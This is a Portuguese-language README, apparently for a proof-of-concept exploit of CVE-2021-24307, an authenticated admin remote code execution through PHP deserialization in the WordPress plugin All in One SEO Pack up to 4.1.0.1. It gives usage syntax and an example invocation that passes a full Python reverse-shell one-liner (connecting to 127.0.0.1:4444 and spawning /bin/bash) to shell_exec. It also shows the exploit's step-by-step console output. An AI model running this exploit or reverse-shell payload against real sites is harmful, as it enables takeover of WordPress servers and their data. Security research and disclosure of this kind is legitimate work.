
Prova de conceito de exploit para CVE-2021-24307, um RCE autenticado de administrador no All in One SEO Pack <= 4.1.0.1 via desserialização de PHP, permitindo execução arbitrária de comandos.
PoC simples de um RCE autenticado como admin no AISEO <= 4.1.0.1 fornecido como exemplo.
Artigo completo aqui: https://darkpills.com/php-unserialize-write-up-with-admin-rce-in-all-in-one-seo-pack-cve-2021-24307/
Uso:
php exploit.php url login password php_command arguments [proxy]
Exemplo:
└─$ php exploit.php http://wordpress/ admin admin shell_exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" localhost:8080
-- All-in-one-seo-pack <= 4.1.0.1 RCE autenticado como admin --
-- Exploit por Vincent MICHEL (@darkpills) --
[+] Autenticando no wordpress http://wordpress/
[+] Obtendo nonce da WP REST API
[+] Nonce encontrado: 6aeb9ddf05
[+] Gerando payload POST para executar o comando: shell_exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'")
[+] Enviando arquivo ini com as configurações de importação
[+] Concluído! Verifique o resultado em algum lugar (execução de comando cega)